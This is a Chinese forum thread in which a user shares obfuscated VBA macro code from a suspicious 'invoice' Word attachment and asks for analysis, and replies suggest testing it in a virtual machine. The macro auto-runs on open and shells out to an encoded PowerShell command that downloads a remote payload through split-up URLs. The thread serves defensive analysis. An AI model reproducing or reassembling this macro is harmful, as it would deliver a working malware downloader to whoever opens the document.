疑似宏病毒邮件求帮忙分析1

[xxdj_HTHY]

今天一大早收到同事发过来的邮件，邮件的内容是英文的，说是扣了钱，附件的word文档是发票。打开word文档后显示有宏被禁用，担心是病毒，查看了一下代码，发出来给大家看看。还请各位高手帮忙分析一下是什么情况，如果真的有同事中毒了，要怎么处理，感谢！代码总共有9个function一个sub，分别是：Function wCnbk7A(Wii4Qibs, nKirQPF), Function zzf6Zli(), Function UZ2CbJA(), Function RVfK8fn(), Function FOwijV(), Function inYtGdT(), Function qSzPrL(), Function zNSdOib(), Sub autoopen()，因为内容比较多，我分几段来发
Function wCnbk7A(Wii4Qibs, nKirQPF)
On Error Resume Next
Set OivVML = HQZjYZKd
IXwwW8bP = CByte(KUDTW6i - CSng(375140747) - lwIEYUN6 / Fix(a5p1zz + Gz57M3z + 810575261 + Int(208001838)))
Set X2zicA = mYCufj
Set aEiWOTJP = SJXwKciz
lAQEjv = CByte(Muifzs3r - CSng(133103968) - lUKtD8 / Fix(MZ5iCnB + qZzccSB + 383383249 + Int(432352647)))
Set i6dUjr8 = NMGMNlb
Set PW6bVD7 = IEdZGdwa
HMmK6mm = CByte(OTKaoAK - CSng(428389565) - ihqU1YWH / Fix(aqWwFlJq + qtZVZn + 987039075 + Int(633776539)))
Set wCNsb0b = oifz7El7
Shell (Wii4Qibs + ZOi56IV6 + PawdcoWF + bawowj2G + WbT7dQzr + rMWJlIR + ikzHk0oE), Xh4Vpw11 + RDlHjTp + nKirQPF + qEkXoc + A281AhN + WKD2OP + VVZcEKb
Set QrElwFEQ = GNBNG1KJ
L81hILf = CByte(UBRqZ3B1 - CSng(562843669) - GWoj2Xv / Fix(C6M42sW + Xlj6Yv8 + 828699685 + Int(530001788)))
Set EAlaBS = OpvZAq
Set uLIXJQ = YkMaSL
HAlButzB = CByte(vscTSY - CSng(926459351) - i5disM0h / Fix(Nw5GkjN + ZJVHb5W + 345121427 + Int(825209756)))
Set qiiQ60 = uzvLHYp
Set NwclcZ6 = UkdlIPWd
Xzc0o5Ov = CByte(wzIF4bFV - CSng(311618914) - UpJdzL / Fix(AdzZVktz + jOo0pAkb + 381337362 + Int(703548348)))
Set AKIsDH = qsM95OH
End Function

Function zzf6Zli()
On Error Resume Next
Set E6J3oEV = bDzG279
SaQNkAi = CByte(OMPj9U4Q - CSng(276225022) - XBl4Q7R / Fix(qSQacMpJ + HXuFE3T + 950669175 + Int(87529457)))
Set iptAKU = zntv5K9
Set q9dNpa2B = YJ3YUC
XwdhZ6D3 = CByte(zvfFAZBd - CSng(710410630) - clX3Qjio / Fix(ucj8AaQi + oVJBok + 389772896 + Int(142964437)))
Set sUW54MG = UiN75G
A0v6JV = "wer" + "she" + "ll -e" + " JAB0A" + "GkATgA"
Set MZ2F2NsL = F3XDiJ8
cOQXKPN = CByte(WZKQH3fV - CSng(582162398) - zS97KEi / Fix(FAhHUE + CqznQ5ul + 206256036 + Int(848085239)))
Set cNjkdaP = KGuizr
Set L03dSb = I5mzTC
zu37M9S = CByte(lEsPXUz - CSng(754282512) - JIbXmAb / Fix(Sbi9Wn + CcwPrK + 891930405 + Int(583746525)))
Set AwkwDZhw = TQ6vRKV
SmjFuS = "3AFE" + "AagA" + "wAD" + "0AKAAn" + "AHEAW" + "QAzA"
Set pMkf2b = fa0TUkT
LlIrvm = CByte(dcWjo3 - CSng(351635149) - COHGPc / Fix(jwqKd1 + irOOjBjd + 218739241 + Int(297710675)))
Set D7ioLB = j79IzZ
Set GzW7ZCnC = pHOsYQu
f4BAYnz9 = CByte(D9UCVV - CSng(150213628) - YRtkTG / Fix(crv8OJR + Fz9SjD + 537211892 + Int(785001230)))
Set YE4WPCo = tSs4LHR
FFlPlFL = "CcAKw" + "AnA" + "EcAJwA" + "rACcAa" + "QBHA" + "GoAU" + "gAnAC" + "kAO"
Set V07uRRA = QPE9wU
sEobRr = CByte(L2XS6R - CSng(333905969) - Pi5CvR / Fix(AGhLcUXL + rb0IRJ + 638231965 + Int(61789685)))
Set cWB6H5d = AGwTnQl
Set iH5kwtH = q1fpKwjS
X18bHo0j = CByte(HZ5f2sY - CSng(530315506) - PjNbnv / Fix(YfnB3wj + jz6wKDs + 613923493 + Int(398562515)))
Set qcYD4RY5 = qVvhGiA
bAGdRiiF = "wAk" + "AEkAV" + "ABJA" + "DcAQwB" + "BAFg"
Set qrRVrn1v = nDPqQon
KYS0np = CByte(NJ90rn - CSng(167837201) - DjzAum / Fix(L7aaS4s + hahrop + 760054207 + Int(571326709)))
Set EjDaEjL = HPbwWd
Set BWRSqEcS = rzihEnKZ
TpKuYOzP = CByte(kOwBQLz - CSng(713076982) - fG6n1olR / Fix(SDmpSW + vcPM3KG + 604682415 + Int(41688282)))
Set tzbQ1Y = b5tni2KL
Set U9EwvULa = vB1fJh9
M2GMKD = CByte(AQFAFz6 - CSng(5340287) - c1McacI / Fix(I1RwuCX + Ov5v37LJ + 637959404 + Int(527104147)))
Set wfNBaZ = WnEmrsjt
j9QQMr9 = "APQ" + "BuAGUA" + "dwA" + "tAG8A" + "YgBq"
zzf6Zli = A0v6JV + SmjFuS + FFlPlFL + bAGdRiiF + j9QQMr9
End Function

Function UZ2CbJA()
On Error Resume Next
Set Ho63VHbu = aPURjH
f5iPoCh = CByte(hI5bWGzM - CSng(156883721) - uzMPOtJT / Fix(z4Rr2YM + uUHVzmQr + 151131808 + Int(145734885)))
Set TZ0hzs = v3NLHq
Set iwEB1U = c651ot0
IuXIva = CByte(im0VST - CSng(737533363) - qdIH6hz / Fix(A2PuaL + RzR55WYz + 260393059 + Int(698943632)))
Set NmLtM6jm = Kjzvaw
ZslTJwaw = "AGUA" + "YwB" + "0ACAA" + "TgBlA" + "HQA" + "LgBX" + "AGUA" + "YgBDA"
Set rCa2Fuj = sRoij5i
ur7J7u = CByte(ONu2MYSX - CSng(107951036) - R3u4Jn / Fix(hRK5CIO + UqFqqW + 471976602 + Int(347986596)))
Set h3VGcAbH = pwfnPj
Set LRRUEVtj = ttZsVX1
CPr0jS = CByte(TSUIzO - CSng(907490725) - QrzhTH / Fix(vlJsrOj2 + ijRrCq + 106890614 + Int(358922012)))
Set LEffkSE = itI0Ppr
kt8AG9 = "GwA" + "aQBl" + "AG4AdA" + "A7ACQ" + "AVgBYA" + "DQA" + "UABO" + "AGE" + "APQAo"
Set iHvzSZUG = CXfsUd
mdjFjF = CByte(FBmovS8 - CSng(306129955) - sjzRYE9 / Fix(qHjhZH9z + ZlpStT + 295488371 + Int(491602145)))
Set mZMV4mJ = EcHZKsc
Set rZiCKoR = jnzNSRw
nvrjWBn1 = CByte(TffQtV83 - CSng(750492707) - z28buT / Fix(jlKhEi + OCjYUfXH + 123095736 + Int(175883018)))
Set tUZEk1 = mIlsSidS
Set Ym6jrv8u = iqjiNY
adw8n7l = CByte(kGhvw2C - CSng(994967370) - lf5B2JNu / Fix(HvWh7s3 + w057ZQn + 521360403 + Int(276371218)))
Set biGda5lb = VL2NN6uA
k8pqzNJ = "ACc" + "AaAAnA" + "CsA" + "JwB" + "0AHQ" + "AcAAnA" + "CsA" + "JwA6A"
Set NoAPumF = zTH4Tsn
RchJNQc = CByte(SL1kqZv - CSng(493697420) - C9mACDj / Fix(Zia56o3 + FbtzPQtB + 761278204 + Int(359588044)))
Set GwoSdjsc = hJ8Az7
Set WX6KzSKM = MiJdbDT
El50zG = CByte(BiFMbXF2 - CSng(49509156) - Kd17bf2 / Fix(XnpO0X + bYIDQjI + 721027740 + Int(596261093)))
Set FDmYEpMi = Xi6jjRY
pj3YmmQt = "C8A" + "LwAnAC" + "sAJw" + "BwAH" + "MAaQB" + "fAHQAZ" + "QBzA" + "HQALgB" + "mACcA"
Set McjEHP = j06NMr
C2UpZAJ5 = CByte(wTjBV9n - CSng(739593026) - HUjUFDna / Fix(zLNw6j4A + PlQlTL + 744064978 + Int(593980480)))
Set icKSosU0 = Tt57juG
Set IN6bHzt = qQh5LUN
Cjz6tK = CByte(soGz4fm - CSng(360743719) - UciS6kj2 / Fix(BpVwm3iT + Zu7i9E + 728832807 + Int(628103987)))
Set vidmwpwu = V3XqlL
Set NbznpHS = NUwL4OW5
UmFZkN7 = CByte(LowRcr - CSng(238082223) - BifwctL / Fix(zkIcIu5f + BNZtXO + 501248854 + Int(278742074)))
Set Sip4t2 = jJVNEZ
ABTpcN = "KwAn" + "AGEA" + "cgAnA" + "CsA" + "JwB"
Set GhFbd0 = fJUzwQ
CUoCcuvK = CByte(zc7nYw - CSng(900114195) - tr7C8Cdj / Fix(dap7wL + LzXv5YSA + 830278128 + Int(375931486)))
Set c47kbKGR = zN55iuTj
Set ibPIPz = N43DcB
qLPjcfb = CByte(CwESdTq - CSng(153559670) - pmIEj6 / Fix(uBlWKYm + PznE0UnM + 983642912 + Int(557949016)))
Set iM454oAp = fHCi44qn
Set wEUvvGZ = ruVPiN8
Hda53i = CByte(wwqJWiR - CSng(973575820) - UUCcjw / Fix(V4zvdYEE + wCLvSOIl + 343438407 + Int(222808514)))
Set DQiDj1 = vmb9IirM
PffC49 = "zAGU" + "AYQA" + "nACsAJ" + "wBz" + "ACcA" + "KwA"
Set OYraFN = RiV2Z8
JYosBZ6V = CByte(Ak5jVU - CSng(964756578) - zOsGVYbz / Fix(fbNEsh5 + O3cV1z + 209978483 + Int(933353295)))
Set LB52FGqc = Qjliw9
Set cJ4zZuj = QAWsC2J
Z8BVOilo = CByte(isVkpv - CSng(874422658) - zYcCYHdk / Fix(pocwiwT + vZOuoY + 48121552 + Int(782229625)))
Set j7KwNiV = jNu58MSf
pWIpIjsn = "nAHQ" + "AeQAu" + "AGM" + "AbwBt" + "AC8A"
UZ2CbJA = ZslTJwaw + kt8AG9 + k8pqzNJ + pj3YmmQt + ABTpcN + PffC49 + pWIpIjsn
End Function

Sub autoopen()
On Error Resume Next
Set BTwiU1rj = MELKAYWJ
hWLaR6J = CByte(JiPMbV1 - CSng(181336904) - mI0CPNh / Fix(qXELk8R + SNZrz8 + 178193685 + Int(509094404)))
Set mwJNzoiO = wMupoE
Set uwlOAw = EO04i6
sEF584GH = CByte(vCn6SWcB - CSng(666849184) - Y0Qs0qG / Fix(aJdiIjrF + kdiJ4G + 444001001 + Int(156674121)))
Set WjPPYXF = wM0I2U
wCnbk7A iOKqsw + Chr(IRjCtmUL + RB2uNp + CtvEMTnj + KeyCodeConstants.vbKeyP + bp4U0lP + wYCzvn + Wjf4mdL + B7iOv18j + AKXkEUtP) + Chr(joEDNZJ + Bu4thO + Fpjjjifu + KeyCodeConstants.vbKeyO + cGN35zV + AhnJVFTX) + NmjcfOX + iA1Jh2K + zzf6Zli + UZ2CbJA + RVfK8fn + FOwijV + inYtGdT + qSzPrL + zNSdOib, 792915 - 792915
Set wbHH3Pa = OCKXiLU
ROphLH = CByte(is6Nbd - CSng(644177739) - G8LF7it3 / Fix(tFiZh6cZ + UQAVjprW + 351897972 + Int(830822980)))
Set YzDXwJY = hpW4MBSX
Set XW3plGWW = PLtzp8
prv7dG = CByte(zIuAYLB - CSng(514060601) - hwtffz / Fix(qJL9NGDp + Ef3wk0 + 102308442 + Int(225216208)))
Set hHJNDZ = SRM6RqR
End Sub

[ForestDB]

混淆过了。 可以找台虚拟机试试。

[脆皮大雪糕]

开虚拟机，装office，然后在虚拟机里面开doc跟踪看看会出什么幺蛾子。

[xxdj_HTHY]

Function RVfK8fn()
On Error Resume Next
Set jsIKihb = kG5uR3
tSajWo = CByte(iUmviwZ2 - CSng(191284262) - bfZCPf4b / Fix(OKNvfm + zQEUc4Nz + 776057791 + Int(535725353)))
Set Bj44KtdP = YMMmYJ
Set VPBVIS = CL0w98
Y6VdUlFK = CByte(iqM1Qz - CSng(166002706) - MsF9Ei8 / Fix(zowXQ4w + VvzK22I + 706445370 + Int(626840936)))
Set vKlnkl = wR0WqkL
Set pDZvdm4 = KbiMN6
ijSILGv = CByte(OmISIKk - CSng(296308966) - EbChYPh1 / Fix(z6JDdo + Mm8oo1VR + 287470628 + Int(21134319)))
Set v40FwN = u4oPLF
Ezdw4Dl = "OQAnA" + "CsAJwB" + "TAFM" + "ANwBq" + "ACcA" + "KwAnAD" + "UAJ"
Set Z6UzKCOq = i0RzpP
l6AnVi = CByte(Kqu2YqpC - CSng(903181747) - ZozNYk / Fix(Xn6i3RR + o1kzLT + 846988498 + Int(547294076)))
Set j4TP66 = j4slDlE
Set KTuUNz = b36zwd
rOklnjZ = CByte(KC5Hu0Z - CSng(191992668) - XKwOF1S / Fix(ttk9ESz + jXn4VrA + 749041736 + Int(213534335)))
Set ufnczjPB = nVp5j3m
J3jGGb = "wArAC" + "cAMQAn" + "ACsAJw" + "BxAC" + "cAK"
Set AVWpEjjh = ZiB1WzkS
ddTiPrj = CByte(PUZhLU9R - CSng(202437765) - lQ5lYC / Fix(PKKjppah + VW0ztNcE + 949980348 + Int(843796721)))
Set bXthvSi = LpvanH
Set EPJbQQZS = ZtPYHv
TwcBRaO0 = CByte(m2zHW6 - CSng(907629875) - czAiuuc / Fix(oaJ2f3En + wtNQBF + 567517174 + Int(535258204)))
Set STiiII9 = kRwWaN
Set plnkjEh = X0AGfaj
uDXIu0 = CByte(l1Gvwr - CSng(107760604) - tdAAJSTP / Fix(GXAGcIjs + h1ojSW + 694663846 + Int(336467729)))
Set O4niiCK = nE4nM71r
K0MOSBz = "wAn" + "AEAA" + "aAAn" + "ACsA" + "JwB0AC" + "cAKw" + "AnAHQA" + "cAA6AC" + "8AJw"
Set OLAMjVL = Om00EQ
tWYvciiP = CByte(ltzwY1 - CSng(506638300) - IiLuEK / Fix(RDEARvn + m3zmj83B + 464691291 + Int(286459369)))
Set LJdQ93Q = QlaLIMj
Set VRpVjNPw = ijiJb2tb
h0WtinI = CByte(PJ3NVUZ - CSng(373735507) - EA7W4GJR / Fix(WQHJdMZ + p7F3Vrzs + 344139507 + Int(143886675)))
Set ZOt5lr = jYWAwAC
H5iarwAI = "ArACc" + "ALwAnA" + "CsAJ" + "wBqAHU" + "Acw"
Set W7dPwV9r = kQnknqN
vw6dERai = CByte(zG6GjQK - CSng(527289398) - V7AwaQK7 / Fix(MrQil4fc + SzzFAjwK + 120844719 + Int(312659656)))
Set YAW9zI = GiIbWQ1W
Set O9RZNI = ufaUYY
FzWX1R = CByte(ZtVzi8 - CSng(240768598) - WzAHzWET / Fix(ZOJdPU + X1hL0R + 153734139 + Int(933193855)))
Set ij7QqV8j = PcREnHM4
kHwVmG6w = "AnA" + "CsAJw" + "B0AGMA" + "bAA" + "nACs" + "AJwBp" + "AGMAaw" + "BtACcA" + "KwA"
Set hERfNW = oEhUYLcf
QEFRhnjH = CByte(jjzZvp - CSng(959045321) - wDuXuqkF / Fix(WA9VvBz5 + h6FvLQN + 275526144 + Int(133172598)))
Set LRiJqirU = cDbJGoOB
Set XChkcwN = OtMmJa
Mw9Icf = CByte(nHpU7O - CSng(796230377) - oPfArET / Fix(MMQVjw + rfVZ0j + 777380579 + Int(397591281)))
Set cpSD61I = KFjupt
fnSC89Mi = "nAG" + "UAZ" + "ABp" + "AGE" + "ALgB" + "jAG8" + "AbQ" + "AvA" + "FEA"
Set Q0lDJE = jvn8jwKq
wTzzwum = CByte(UNX7mjXw - CSng(487475237) - D9jBKY / Fix(iYJqbi + TiL1bEH8 + 664035607 + Int(259808025)))
Set UJAqVV = mzpZhhai
Set qZbhKAW = MjOPHVpG
uf4IE70 = CByte(U76fFfuu - CSng(281380998) - X6zNLLkF / Fix(apsKW75 + iL9n48U + 61243519 + Int(138102238)))
Set fXQzM8r = uW4SJ4RM
rd5PidS = "bwBYAE" + "YAYQ" + "BoADU" + "AQABo" + "AHQAdA"
Set Tj28oiw = OoWQn5iK
wqaJRE = CByte(EEH6wiN - CSng(237806586) - d1D6Ii / Fix(IAjOTi + Bu6ak4 + 416551065 + Int(26868863)))
Set jVzzCYzQ = wAh6pB4
Set UCJzzoXl = X1OsUsvR
qWG479BA = CByte(s3wVW2ZF - CSng(369972943) - kHj1u6s / Fix(Bhpw6B7 + smWfR4jC + 888430457 + Int(346009011)))
Set i5GQHP = JCTTk6
Set cj6frLG = E4qiWsA
za3Xhb = CByte(T9fw5sk3 - CSng(462469159) - zqaAp6 / Fix(pbiWZqbq + J0iR4zIu + 700329525 + Int(168454414)))
Set j5su8h = KbviaWw
nikrjdSq = "AnACsA" + "JwBwA" + "DoAL" + "wAvA" + "GcAbA" + "BvA" + "HIAJwA" + "rACcAa"
Set RpzHzb = KViMwzFz
NL53VW = CByte(CB9aLiXU - CSng(437979454) - RSWtFv / Fix(QrBqds + XYbUcWz + 385155651 + Int(79356361)))
Set IAwiWzfJ = XwHzDbRB
Set zXWrWR = FTiA7MP
K7c6TZTf = CByte(pTwKYQt - CSng(986506650) - VMUc2pGN / Fix(SOMauNNT + CLPsRFTJ + 101792729 + Int(728615860)))
Set sOc0mA = PF4YNiG
Set sMUvz7F = oYOLNsR
mrlW6sT = CByte(wbj1iC - CSng(350883174) - bppR84X / Fix(FzwKwPop + ZRmczqGp + 925550037 + Int(949238724)))
Set rZHuQw = l9YwMLcz
WD760810 = "QBhAGw" + "AbwBy" + "AGk" + "AbgBn" + "AC4A" + "JwArA" + "CcAYw"
Set ACBtXjv = uWjf7Db
JMzzTMpr = CByte(vpdjZiPS - CSng(571695497) - iT1FTwB / Fix(DB5DOfpL + DqSFavZ1 + 114789244 + Int(951772462)))
Set tEHk38tA = njl3uaR
Set h6nVmnRD = NrL3MBn
zR67Ci6 = CByte(TNFfR4DL - CSng(838431728) - WFYOta / Fix(XcbzIhnm + f1qZkpFT + 757767429 + Int(418908239)))
Set ALOmB43q = mKvO7a8
Set PZObHXK = B3iaJnS
bWji9Er = CByte(dCw6W4f - CSng(184756942) - M3mNKCvD / Fix(zIY064 + qaKuT4l8 + 726001207 + Int(114777003)))
Set v8Pkoo5 = XNA1ffZ
dvd9SO = "BvAG0" + "AJwArA" + "CcAL" + "wAwA" + "CcAK" + "wAnA" + "FkAN" + "wAnAC" + "sAJ"
Set wYHCPwW0 = f5rJIK
a7649V = CByte(Eq3pGMG - CSng(22678418) - JqppQR / Fix(McV5ckC + WwBavTr + 730663680 + Int(673961454)))
Set vZzqS99 = rqn5VGQ
Set lGQ7Gso = ZXJVkqO
GODIUn = CByte(iaYa70pK - CSng(167416869) - IUvkza8 / Fix(G18CCTbh + omTaDNX + 907965540 + Int(546302908)))
Set Iav3Y4W = lXGqiw
jiIjkIt = "wB3A" + "CcAK" + "wAnA" + "DcAd" + "AB4AEQ" + "ARQB" + "WAEAA"
Set ZlY0iU = iiAGZam
VhZQzd1 = CByte(RGVF36T9 - CSng(158188357) - KdmGPws / Fix(pCnvEUq + iHhMz0AB + 496670239 + Int(675380152)))
Set WR7Bc75T = npK4Sd
Set rYKi0b2K = p6hwz6Si
PlJHdR07 = CByte(jWLumE - CSng(948058461) - p5NFdd / Fix(z2wPwYji + CArc5j + 709544949 + Int(306634492)))
Set pKu90QVE = jnHl0E2
hPYz4SkU = "aAAnA" + "CsAJw" + "B0AHQA" + "cAA" + "6ACcA" + "KwA"
Set iiVDLtk1 = CjDwVXS
rDj5sEo = CByte(KI5UYv - CSng(17993983) - EwTNf4w / Fix(LpEGjS + kDjm0hHT + 645621080 + Int(906859732)))
Set JSzT0MFR = hG67b6M
Set nK5hADD = oUncQP
w2QXCl = CByte(jzDjIqhK - CSng(483810398) - QRzLCqF / Fix(BTltwAf + AsjawTN0 + 578864298 + Int(867167830)))
Set X9NtXvGq = zqJtWOTu
NdV84if = "nAC8" + "ALw" + "BhAHAA" + "bwB" + "0ACc" + "AKw"
RVfK8fn = Ezdw4Dl + J3jGGb + K0MOSBz + H5iarwAI + kHwVmG6w + fnSC89Mi + rd5PidS + nikrjdSq + WD760810 + dvd9SO + jiIjkIt + hPYz4SkU + NdV84if
End Function

[xxdj_HTHY]

Function FOwijV()
On Error Resume Next
Set IX1jO77w = mB0p47I
rKclWRr = CByte(CuzSOAbw - CSng(169510323) - T77MEY / Fix(whl1Aw + kwdOjEGw + 971141309 + Int(713033366)))
Set zOHvzRH4 = b9tm6T
Set swzSuK = JDwLaAi
PuWA2s = CByte(DdhZ54t - CSng(183270144) - T1LX5F / Fix(zPzuBZE + sfD0Fa2 + 673426824 + Int(693152526)))
Set NKF0i5 = B51Q4Nu
XHU5R3 = "AnAGg" + "AZQ" + "BlACc" + "AKw" + "AnAG"
Set GDW9D9B6 = YRVUQdY
vaSiM3 = CByte(VRU5Ci - CSng(945974000) - snMCz0A / Fix(DiiqGdbi + rjKGA6m + 644579293 + Int(634921565)))
Set pYSlnuw = VSNjwi
Set v01ViMzC = QO4juB
ViidRp = CByte(KbM34P7 - CSng(670845747) - Tb3wJd / Fix(ftSvIUj + wOasK5H + 999723802 + Int(352160246)))
Set KDROrn = LlUEl1
Set QWorHwA = jtCPov
fhTiMHij = CByte(bbBlwX - CSng(732878010) - MvoV77nZ / Fix(z6MhLU08 + MGKlrd + 314102731 + Int(295321900)))
Set ijbvFH7L = crvmjJU
WT3VUw = "sALQB" + "2AG8A" + "bAB" + "sAG" + "UAbg"
Set SRnfGStP = wVQKRzOO
DGs7QjBB = CByte(nw3X7i - CSng(613387721) - Ttivu8 / Fix(Cthj8V + MiqOhQrC + 530006096 + Int(925791880)))
Set uOwNi5S = R90AS9S
Set mYsMzVN = pmJWqFE
FBF616 = CByte(XjASJEBR - CSng(393069805) - IsfEsj / Fix(qucFJ51 + awiz1B + 902717342 + Int(686001413)))
Set hhIFSv = dl7WWabj
tYTzrwk = "AnAC" + "sAJwB" + "oACc" + "AKwAnA" + "G8A" + "JwA"
Set sAsqJDc = MWbTNf
qNYczdm = CByte(ffSiGo - CSng(570912409) - bITZ2k / Fix(i0Xwj1 + aauLBhG + 591736822 + Int(40657970)))
Set IoIs39N9 = VWzQf3m
Set XpzUzd = LbUi1m8V
uzcAH3 = CByte(DGzsrOI - CSng(684235690) - ZJwFUMlz / Fix(nZAwowjh + c6NPYCE + 500153349 + Int(745255681)))
Set IUM2ZQw = VUNZwo
vrk7zN = "rACc" + "AdgBl" + "AC4Ab" + "gBs" + "AC8A" + "JwA" + "rACcA"
Set tY9S1tt = TzZ59U5
urdJFD = CByte(QkZEKjGn - CSng(685893108) - EGdMSG9I / Fix(fQ7P0K + lS60HZ + 150942730 + Int(914288325)))
Set PSRSwF = VfKDG5
Set UwlnVlA = C4uXWM
n4ZJ09 = CByte(iZ1KX3 - CSng(942243277) - QBz3pV / Fix(CdSMw0 + CjKwaY17 + 411473909 + Int(679964154)))
Set T4K7lW = GWFia6
Set sHF7XC = JbYkzp
i6Wu7CpO = CByte(DkbYTvr - CSng(977563164) - hMwGmDd / Fix(zdVElZjF + qc1vu8 + 83850833 + Int(783483305)))
Set j31OZJ = NH3i9a
B3alVUT = "QQA" + "nACs" + "AJwBz" + "ADk" + "AJwA" + "rACcA" + "eQA" + "0AEo"
Set MbZzKD4 = tsJnOi
TFiujQm = CByte(aI0DUGq - CSng(515848747) - BkA0Rp / Fix(YaM6YR96 + jsLwzti + 749981192 + Int(645863810)))
Set fdHpPjw = OEUWJj
Set zFdwTE = OzjcLVn
ZwYMza = CByte(c9VSAY - CSng(924256277) - QrnL5z / Fix(QOOszD + ZI2b9Jo + 829021340 + Int(637879109)))
Set rFRboa = wL2k8i
lEYuBz1D = "AUg" + "BAACcA" + "KwA" + "nAG" + "gAd" + "AB0ACc" + "AKwA" + "nAHAAO"
Set tBXIrD = SOLZTQq
phiczT = CByte(uZQJiF3 - CSng(155463613) - TiPTEs / Fix(IEZAvn68 + iwEsqswn + 928971642 + Int(304451336)))
Set PQECSa = YwqFIm0
Set PrjprlSJ = qiaiXijj
qr4l9S = CByte(lcN39G0X - CSng(823217834) - HUth3la / Fix(rwkUboF + vqYsXbnj + 922533369 + Int(582492395)))
Set Apq9O8F = AhqXF7
Set XOmizc = zOAfwa
FclnjFz = CByte(QnY6KSX - CSng(803869535) - wsiSMN7 / Fix(PGX5pmzX + jWZR1c + 824074391 + Int(130287547)))
Set wmrqD8qi = VmtECh7
QAYi5IJ = "gAvAC8" + "Acw" + "B5A" + "G0AY" + "gBp" + "AHM" + "AeQB" + "zAHQA"
Set E0iiMw = OznEt6hL
A9BCDjw = CByte(wtfqzA - CSng(189497344) - vEK0sI / Fix(dncPqrZ1 + OC60wUz + 201837626 + Int(236822774)))
Set rEhvWQ = BP3tXA
Set hwHqLk = TWWhYqNK
XU8BozJ = CByte(PIqthYs - CSng(362803967) - zJGYb3 / Fix(wz7wznc + GmKUh6 + 942757837 + Int(683738410)))
Set jwJqTQBJ = wjJKKLb
NBGzbl5H = "ZQBtA" + "HMA" + "LgA" + "nACsAJ" + "wBj" + "ACcAK" + "wAnA" + "G8AbQA"
Set O9U1DJ = k9jSVLi
G9nlTz1 = CByte(v23mtT - CSng(165897616) - REhJ8frw / Fix(HPzZCV + Mt8Iid + 806111747 + Int(229664332)))
Set EOMIYdOz = BH4ffpN0
Set k7o8Ijr5 = FRzMFv
UaHtrEY = CByte(fiBR0H - CSng(845145635) - birKQRh / Fix(LbtfXJm + j9OjiW + 552852498 + Int(91563403)))
Set CHJ9wq = pNK1Lul
OlN6NuMk = "nACs" + "AJwA" + "vAEM" + "ASgB0" + "AGYAa" + "wAwA" + "DEA" + "eABGA"
Set VPlOEhQi = tstH0V
LwfoY6E = CByte(GbVDFR - CSng(678197172) - ibO6tCnk / Fix(cqaTpSV + n2pKrfI + 110942993 + Int(710958603)))
Set WDqLvIQR = AzHrwVq
Set C96c8wq = BdfwC1
EDpTuV = CByte(sXwbba - CSng(88088804) - BA18uYbM / Fix(W8VzhlW + sRSmBSGa + 906696071 + Int(156781520)))
Set UaFA1zP = MHowdMf
mBOq76Rj = "CcAKQA" + "uAFMAc" + "ABsA" + "GkAdA" + "AoAC" + "cAQAAn" + "ACkAOw" + "AkAG"
Set zz4C6EQv = zozuwRV
B5fjAi2l = CByte(zwL3htoX - CSng(65715526) - ZiLj7mo / Fix(Cna4mEd + bDdz4N3v + 779222263 + Int(273087208)))
Set uR3Zha = E2NbCzVW
Set z4P0hp = kqTMtc
YriwAY4j = CByte(iEVdBEm - CSng(341137889) - AFNoWb / Fix(VdFwQG4 + WHj0qm + 950566818 + Int(84746835)))
Set MoOjY3d = Z4bjfbK
NXijaGo = "IAMwA2" + "AGIAa" + "gA4AG" + "sASwA9" + "ACg" + "AJwBN" + "AHYAa"
Set fkIwZdX = NWIJLsi
brwAKckE = CByte(PP62uA6z - CSng(24495250) - YnGDTlX / Fix(wcqIBkwl + LUpimHUi + 389528300 + Int(146803102)))
Set YfDDDp72 = A92ziz
Set HrTiYa = FKMzz74
l0X3so = CByte(hrs42O - CSng(24122272) - KNrQ5X / Fix(ko99TJz + R2KOaC9 + 555539661 + Int(758089291)))
Set kO6Khj = wtzmaiAA
Set l2nDp1j = EZrWcbv8
stTrj7n = CByte(oNR47K - CSng(810719050) - uQmlXwK / Fix(haTdJzK + VJDGCJc + 293616340 + Int(753454629)))
Set nLnoKDV = SfhBc9
Dds7fY = "QAn" + "ACs" + "AJwBuA" + "GQAZ" + "gBYA" + "CcAK" + "QA7A" + "CQAd" + "wBWA"
Set zDHcqj = iTRPLd
stQOsjr = CByte(kdcLfFwU - CSng(109463771) - IcFj4t / Fix(jNT3L9E + AjZWvs + 984699956 + Int(47617407)))
Set IOd5Fd = UouU9i
Set daFWCO = boqwUolB
B4hYm0s = CByte(idu9HI - CSng(956653067) - JFIv1u8a / Fix(j3mKBj + jKzGot + 957292528 + Int(310771544)))
Set jipXr41X = CzbLph
UkRMbwv = "FUAWg" + "BzAD" + "IATgAg" + "AD0AI" + "AAoA" + "CcAMg" + "A5A"
FOwijV = XHU5R3 + WT3VUw + tYTzrwk + vrk7zN + B3alVUT + lEYuBz1D + QAYi5IJ + NBGzbl5H + OlN6NuMk + mBOq76Rj + NXijaGo + Dds7fY + UkRMbwv
End Function

[xxdj_HTHY]

Function inYtGdT()
On Error Resume Next
Set tVGqZ3 = w0jzU6
lDcXJrv = CByte(RVFiUa - CSng(952048956) - fIwQDz / Fix(iDzjzk1T + waFKkY + 680274400 + Int(83874285)))
Set ilijiPU = X0oMSDs
Set K8crsinv = BoNWpc
NHW8TN6 = CByte(FiHCPB - CSng(566938091) - FjbrhvuB / Fix(qRp4kG + VOoOwPOj + 215022500 + Int(885209717)))
Set joA0Va8h = KSw5o9b
Set X0d5hsTu = Qq3Yai
nTpbRXXd = CByte(tqqHoz - CSng(748386950) - R4k2z4 / Fix(NVdk5HU + zAsGhDAR + 867949732 + Int(995361062)))
Set CDn3LE = W2hNzH
wiW4tzu = "CcAK" + "wAn" + "ADMAJ" + "wApAD" + "sAJ" + "AByAD" + "MASQBC" + "ADkA"
Set NSjiQzSK = wptLO2On
YPFWMBVz = CByte(tU64BFw0 - CSng(217573673) - cDC8vWoz / Fix(parTBNK + YfY33k + 732406095 + Int(829054232)))
Set CPZ0F6 = VaprAV
Set uwuCdXF = wntvZd
qz3jGV = CByte(vQdCjlt - CSng(78063130) - nF3KTU / Fix(ZGjuiVof + B1wdpZi + 110035540 + Int(614142880)))
Set Q5o2Psj = ZhhU29H
LkA3oq0O = "UgBrAD" + "IAP" + "QAoACc" + "AdQAnA" + "CsAJ" + "wBhADc" + "AYgB" + "RAHAA"
Set aZCiLq = Bww9dz
Rifjs3Q = CByte(J7TDIL - CSng(345785557) - i21J9Jci / Fix(hPtjGv + ksjnIAa + 998182927 + Int(746085747)))
Set uldcoL = JjVEKIG
Set iNZl6iz2 = djV3iiZG
SUDsoNQ = CByte(GHOn4Ptp - CSng(666997997) - ffVSV2ur / Fix(QcECVU + zrNsHktU + 876212243 + Int(447341566)))
Set quCbz19v = YjniwoJl
